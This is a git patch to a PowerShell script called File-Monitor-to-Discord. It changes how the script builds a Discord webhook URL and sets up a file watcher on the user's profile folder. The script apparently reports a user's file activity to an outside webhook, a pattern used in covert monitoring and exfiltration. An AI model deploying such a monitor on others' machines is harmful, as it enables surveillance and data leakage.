From 88f13627e6da51baefc6e93555ea0b7bd1de0666 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Thu, 19 Jun 2025 16:49:46 +0000 Subject: [PATCH] Update main.ps1 --- File-Monitor-to-Discord/main.ps1 | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/File-Monitor-to-Discord/main.ps1 b/File-Monitor-to-Discord/main.ps1 index 684e3c6..e18c24b 100644 --- a/File-Monitor-to-Discord/main.ps1 +++ b/File-Monitor-to-Discord/main.ps1 @@ -1,6 +1,7 @@ -$whuri = "$dc" - # shortened URL Detection -if ($whuri.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $whuri = (irm $whuri).url} +$whuri = "$dc" +if ($whuri.Length -lt 120){ + $whuri = ("https://discord.com/api/webhooks/" + "$dc") +} $watcher = New-Object System.IO.FileSystemWatcher -Property @{ Path = $env:USERPROFILE + '\'